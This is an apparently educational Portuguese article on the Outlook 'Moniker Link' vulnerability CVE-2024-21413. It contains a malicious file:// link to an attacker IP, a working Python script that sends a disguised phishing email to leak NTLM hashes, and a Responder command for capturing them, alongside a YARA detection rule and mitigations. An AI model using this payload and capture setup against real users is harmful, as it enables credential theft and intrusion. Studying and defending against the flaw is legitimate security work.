Em fevereiro de 2024, a Microsoft divulgou uma vulnerabilidade crítica identificada como CVE-2024-21413, apelidada de "Moniker Link". Descoberta por Haifei Li, da Check Point Research, esta falha afeta o Microsoft Outlook, permitindo o vazamento de credenciais NTLM e, potencialmente, a execução remota de código (RCE) ao contornar mecanismos de segurança como a Exibição Protegida (Protected View).
Visão Geral da Vulnerabilidade
O problema reside na forma como o Outlook processa hiperlinks específicos conhecidos como Moniker Links. Ao manipular um link, um atacante pode forçar o sistema a ignorar os avisos de segurança padrão, resultando no envio automático de hashes NTLMv2 para um servidor externo controlado pelo invasor assim que o usuário clica no link.
| Métrica | Detalhes |
|---|---|
| Gravidade | Crítica (CVSS 9.8) |
| Impacto | Vazamento de Credenciais e RCE |
| Complexidade | Baixa |
| Versões Afetadas | Office 2016, 2019, 2021 e Microsoft 365 Apps |
O Mecanismo do Bypass
O Outlook utiliza a "Exibição Protegida" para abrir arquivos e links de fontes externas em um ambiente restrito. Links que utilizam o protocolo file:// normalmente acionariam alertas de segurança ao tentar acessar recursos de rede via SMB.
No entanto, a vulnerabilidade CVE-2024-21413 é explorada ao adicionar o caractere especial ! seguido de uma string ao final do link. Um exemplo de link malicioso seria:
<a href="file://IP_DO_ATACANTE/pasta/arquivo!exploit">Clique aqui</a>
A presença do ponto de exclamação faz com que o Outlook processe o link de uma maneira que ignora as validações de segurança, tentando carregar o recurso via SMB e enviando as credenciais do usuário local (NetNTLMv2) para o servidor remoto.
Prova de Conceito (PoC)
Para fins educacionais, o script abaixo demonstra como um e-mail com o payload malicioso pode ser estruturado em Python. Este código anvia um e-mail formatado em HTML contendo o link que explora o bypass.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
def disparar_exploit():
# Configurações do servidor e contas
servidor_smtp = "MAIL_SERVER_IP"
porta_smtp = 25
email_origem = "atacante@dominio.com"
senha_origem = "senha_aqui"
email_destino = "vitima@dominio.com"
# Endereço do servidor do atacante para captura de hash
ip_captura = "ATTACKER_IP"
# Estrutura do e-mail
mensagem = MIMEMultipart()
mensagem['Subject'] = "Urgente: Atualização de Segurança"
mensagem['From'] = formataddr(('Suporte TI', email_origem))
mensagem['To'] = email_destino
# Payload explorando o Moniker Link
conteudo_html = f"""
<html>
<body>
<p>Por favor, revise o documento de política de segurança no link abaixo:</p>
<a href="file://{ip_captura}/compartilhamento/teste!analise">Documento_Seguranca_2024.docx</a>
</body>
</html>
"""
mensagem.attach(MIMEText(conteudo_html, 'html'))
try:
with smtplib.SMTP(servidor_smtp, porta_smtp) as sessao:
sessao.ehlo()
sessao.login(email_origem, senha_origem)
sessao.sendmail(email_origem, [email_destino], mensagem.as_string())
print("[+] E-mail enviado com sucesso.")
except Exception as e:
print(f"[-] Erro ao enviar: {e}")
if __name__ == "__main__":
disparar_exploit()
Captura de Credenciais
Para interceptar o hash NetNTLMv2, o atacante utiliza uma ferramenta como o Responder no servidor de destino. O comando básico para escuta seria:
sudo responder -I eth0 -rdwv
Quando a vítima clica no link dentro do Outlook, o sistema operacional tenta se autenticar no servidor SMB falso, e o Responder captura o hash, que pode então ser submetido a ataques de força bruta offline.
Detecção e Mitigação
A detecção pode ser feita através de regras YARA que buscam por padrões específicos de Moniker Links em arquivos de e-mail (EML/PST). Abaixo, um exemplo de lógica para detecção:
rule Deteccao_CVE_2024_21413 {
meta:
description = "Detecta tentativas de exploração do Moniker Link no Outlook"
author = "Segurança Ofensiva"
strings:
$protocolo = "file://"
$bypass = "!"
$regex_link = /file:\/\/\\[^"']{5,500}![a-zA-Z0-9]+/
condition:
all of them
}
Medidas de Prevenção:
- Atualização: Aplicar imediatamente os patches fornecidos pela Microsoft para o Office e Outlook.
- Bloqueio de SMB: Restringir o tráfego SMB de saída (porta 445) para endereços IP externos à rede corporativa.
- Conscientização: Treinar usuários para identificar links suspeitos, mesmo que pareçam apontar para arquivos locais ou de rede interna.